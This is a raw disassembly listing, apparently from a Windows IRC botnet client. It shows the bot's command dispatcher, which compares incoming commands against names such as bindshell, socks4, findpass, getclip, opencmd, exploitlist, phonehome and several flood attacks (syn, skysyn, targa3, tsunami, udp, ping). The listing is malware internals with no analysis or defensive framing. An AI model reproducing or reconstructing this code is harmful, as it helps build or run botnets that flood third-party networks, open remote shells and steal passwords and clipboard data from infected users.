lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_41843B
lea eax, [ebp+var_C4]
push eax
push offset aUser_1 ; "$user"
push edi
call sub_41843B
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_41843B
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_41843B
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi
push [ebp+arg_0]
call sub_41C2E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BFD0
lea eax, [ebp+var_A0]
push offset asc_42CAAC ; ")"
push eax
call sub_41CAD4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40282E
cmp [ebp+var_A0], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BFD0
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+var_A0]
push eax
call sub_41C159
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+var_A0]
push eax
call sub_41C159
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call sub_41C2C2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B9C0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BF70
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
lea eax, [ebp+var_4EF8]
push offset asc_42CDC0 ; " "
push eax
call sub_41CAD4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC0 ; " "
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aRn ; "rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aLogout ; "logout"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aLo ; "lo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aVersion ; "version"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aVer ; "ver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRulez ; "rulez"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aRz ; "rz"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aSpeedtest ; "speedtest"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSt ; "st"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsecure ; "unsecure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsec ; "unsec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aBindshell ; "bindshell"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBd ; "bd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA08
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi
push offset aSocks4 ; "socks4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aS4 ; "s4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi
push offset aLogstop ; "logstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push [ebp+esi+var_8C]
push 25h
push offset dword_42C994
push offset dword_42C988
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push [ebp+esi+var_8C]
push 18h
push offset dword_42C968
push offset dword_42C958
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi
push offset dword_42C94C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C940
push offset dword_42C934
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi
push offset aSynstop ; "synstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C920
push offset dword_42C914
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push [ebp+esi+var_8C]
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push [ebp+esi+var_8C]
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push [ebp+esi+var_8C]
push 12h
push offset dword_42C8A4
push offset dword_42C898
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C940
push offset dword_42C934
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 0Eh
push offset dword_42C920
push offset dword_42C914
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 17h
push offset dword_42C880
push offset dword_42C874
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 16h
push offset dword_42C868
push offset dword_42C85C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 12h
push offset dword_42C8A4
push offset dword_42C898
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 13h
push offset dword_42C82C
push offset dword_42C81C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push ebx
push [ebp+var_4]
push offset unk_42C7E8
push [ebp+var_88]
push edi
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push [ebp+esi+var_8C]
push 13h
push offset dword_42C82C
push offset dword_42C81C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi
push offset aUdpstop ; "udpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push [ebp+esi+var_8C]
push 17h
push offset dword_42C880
push offset dword_42C874
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi
push offset aPingstop ; "pingstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push [ebp+esi+var_8C]
push 16h
push offset dword_42C868
push offset dword_42C85C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aFfstop ; "ffstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aProcsstop ; "procsstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aPsstop ; "psstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aClonestop ; "clonestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C750
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C72C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi
push offset aScanstop ; "scanstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C70C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi
push offset aScanstats ; "scanstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aStats ; "stats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aTransferstats ; "transferstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aTrstats ; "trstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aCbstats ; "cbstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aExploitlist ; "exploitlist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aExplist ; "explist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aReconnect ; "reconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aDisconnect ; "disconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aDc ; "dc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aQuit_0 ; "quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aQ ; "q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aStatus ; "status"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aS_0 ; "s"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aId ; "id"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aI ; "i"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aR3start ; "r3start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C64C
jnz short loc_403162
mov eax, offset unk_42C628
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi
push offset aThreads ; "threads"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aT ; "t"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aAliases ; "aliases"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aAl ; "al"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aLog ; "log"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aLg ; "lg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aClearlog ; "clearlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aClg ; "clg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aNetinfo ; "netinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aNi ; "ni"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aSysinfo ; "sysinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aSi ; "si"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aProcs ; "procs"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aPs ; "ps"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aUptime ; "uptime"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aUp ; "up"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aDrv ; "drv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aTestdlls ; "testdlls"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aDll ; "dll"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aOpencmd ; "opencmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aOcmd ; "ocmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aCmdstop ; "cmdstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C574
push offset dword_42C568
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi
push offset dword_42C564
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx
push [ebp+var_4]
push offset dword_42C550
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C520
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset aOff ; "off"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+var_2C4]
push offset unk_42C4EC
push eax
mov dword_4CF180, ebx
call sub_41C266
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi
push offset aGetclip ; "getclip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aGc ; "gc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aFlusharp ; "flusharp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFarp ; "farp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFlushdns ; "flushdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aFdns ; "fdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aCurrentip ; "currentip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aCip ; "cip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aRloginserver ; "rloginserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aRlogin ; "rlogin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aHttpserver ; "httpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aHttp ; "http"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aTftpserver ; "tftpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aTftp ; "tftp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aShitycrash ; "shitycrash"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+var_2C4]
push offset unk_42C444
push eax
call sub_41C266
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41CA50
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi
push offset aAsc ; "asc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aAs ; "as"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi
push offset aFindpass ; "findpass"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi
push offset aFp ; "fp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset unk_42C3C4
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
nop
call near ptr 269086Bh
push eax
push offset unk_42C388
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319DA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4319DA
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
lea eax, [ebp+var_2C4]
push offset dword_42C34C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_4317F8
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
